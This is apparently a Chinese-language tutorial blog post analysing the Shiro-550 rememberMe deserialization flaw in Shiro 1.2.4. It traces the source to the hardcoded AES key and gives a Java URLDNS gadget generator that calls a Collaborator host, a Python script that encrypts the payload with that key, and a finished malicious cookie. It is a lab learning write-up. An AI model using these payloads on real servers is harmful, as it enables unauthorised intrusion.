Shrio反序列化(一)

摘要:点击标题阅读全文…

脖子不舒服休息了一天,现在进入shrio的序列化章节,预告一下下一个章节应该是fastjson,之后就是做题实战了
现在要讨论的是shrio-550的反序列化漏洞,非常远古的版本,同时也意味着简单好学,我这边采用的是shiro-root-1.2.4这个版本
环境搭建略过,可以拷打gemini搭建,注意maven配置就好
在我们使用默认密码root/secret登录之后,发现登录状态下的数据包中始终存在rememberMe这一字段,而且是base64形式的,也就是说这一段很可能是要反序列化的数据,那么就在shrio的源码里面找cookie相关,连按两下shift搜cookie:

只有一个CookieRememberMeManager类,进去发现了getRememberSerializedIdentity方法,代码比较长,但看名字就知道是反序列化rememberMe数据的方法,那么继续查找这个方法的调用:

最后到AbstractRememberMeManager类里面来,它的getRememberedPrincipals方法中对getRememberSerializedIdentity方法进行了调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {  
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

这里调用了getRememberSerializedIdentity方法去“读取”了byte对象,存入bytes数组中,结合getRememberSerializedIdentity方法的代码大意是将读取的对象进行base64解码可知,这里就是将rememberMe读取,base64解码后存入bytes对象当中,再进行进一步处理

接下来的一个if就可以看出,调用了convertBytesToPrincipals方法,尝试将bytes对象转换为一个Principal对象,Principal对象可以理解为是Java中的已验证过的“成员”,代表一个经过身份验证的实体,这里涉及了对bytes对象,也就是rememberMe的原始二进制值的操作,跟进convertBytesToPrincipals方法

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {  
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

subjectContext参数没有在方法内调用,不用管,bytes对象在这里调用了decrypt方法进行操作,可能其中存在AES加解密,跟进看看

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {  
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

这里的代码大意是,如果成功获取了加密功能(getCipherService),则调用其decrypt方法对传入的对象尝试进行操作,解密的key则通过getDecryptionCipherKey获取,将操作得到的结果赋值给bytesSource对象,再调用其getBytes方法,赋值给serilized对象。
可以推测,返回serialized对象后就是正常反序列化操作了,所以解密逻辑一定在CipherService对象中

1
2
3
4
public interface CipherService {   
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
......
}

这里整个CipherService其实是一个接口,这里的decrypt是接口里面的方法,我们找一下重写了的方法
在JcaCipherService类中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {  

byte[] encrypted = ciphertext;
byte[] iv = null;

if (isGenerateInitializationVectors(false)) {
try {
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;

iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}

return decrypt(encrypted, key, iv);
}

这里的ivSize是128,BITS_PER_BYTE是8,所以ivByteSize就是16,也就是说,这里的iv从密文,也就是二进制的rememberMe当中读取,读取前16字节作为iv
有iv有key,盲猜AES了,key先前说过是通过getDecryptionCipherKey方法获取,我们去看一下这个方法

1
2
3
4
5
public byte[] getDecryptionCipherKey() {  
return decryptionCipherKey;
}
以及
private byte[] decryptionCipherKey;

继续查decryptionCipherKey的调用,看看是否在其他地方被赋值过

找“写入值”的调用:

1
2
3
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {  
this.decryptionCipherKey = decryptionCipherKey;
}

继续找调用

转到setCipherKey方法:

1
2
3
4
public void setCipherKey(byte[] cipherKey) {   
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

继续查找调用:

转到AbstractRememberMeManager方法

1
2
3
4
5
public AbstractRememberMeManager() {  
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

这里传进去的就是一个常量了

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

也就是说,key是写死的,现在有key,iv我们自己构造就行,我们就可以自己加密了
由于原生的shrio的CommonCollections是不实际加载的,所以需要用其他的链子,但是这里实际RCE的链是CB链,我还没学,先用URLDNS探测一下

BurpSuite用Collaborator生成一个域名,放到URLDNS链里面生成ser.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import......

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://5tzaif15bj583a461a57o3i8ezkq8gw5.oastify.com");
Class c = url.getClass();
Field hashCodeFiled = c.getDeclaredField("hashCode");
hashCodeFiled.setAccessible(true);
hashCodeFiled.set(url, 1234);
hashMap.put(url, 1);
hashCodeFiled.set(url, -1);

serialize(hashMap);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

写一个AES加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from random import Random
from Crypto.Cipher import AES

import sys
import base64
import uuid

def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data
   
def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = b'kPH+bIxk5D2deZiIxcaaaA=='  
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = b'kPH+bIxk5D2deZiIxcaaaA=='  
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    return unpad(plaintext)

if __name__ == "__main__":
    data = get_file_data("ser.bin")
    print(aes_enc(data))

运行得到:

1
b'ynBdgtsKTJKTxq2Q+mt/WNEriBMj3KYzlkejWL6MxiYPGQrnhfS0DxzEVadTNM1xUXPPWSKy5IkD+32ASDem3wnmdpX6c1pvBDGnLIG8rQzQJGutFfvfW+1E12cSr0RHgbJ2LUo2kuARwwjTSPw+KUlt6SoPash9nRHknsmqNkDcPwHkS5uNbJMsp9Zmkki4/enQvBZ9z9gkYDAgn8HQ5VDgYFqWlyuwpgDJVpdvI4Il+H/HWPot0/lUTiuIHUuVEIk/MFeiG7Nj3r2EEwdIy7mqGyyZFpgdJQAwSsYGEW/MuioKzi8mhLOuOq8GBcq6/NtEzLrvRh755rKaZpKMjmA3m7+mOeGV46JiVngUZmsf8Ls+Q1zWa3Ct++66OBoWFHyLBIR7bdo0YbwIp9ecb7qX3/UYagQAYrogtPx0nCy2AFl8k3yxEF9q3ps/mhwPPFZ71oCW3XW11ZfdQmI3WGxlRMKLE+wEFWp0nGfM2DcgLKvJAqfJtu3XBSvU0tfm'

将这个内容替换原先的rememberMe的值,删去JSESSIONID,发包:

可以看到没有root的用户信息,再去Collaborator看一眼

说明收到了DNS请求,也就是漏洞利用成功

关于为什么要删去JSESSIONID:
因为有JSESSIONID的情况下,shrio默认不会再去读rememberMe的值来确认身份,而是直接通过Session来确认身份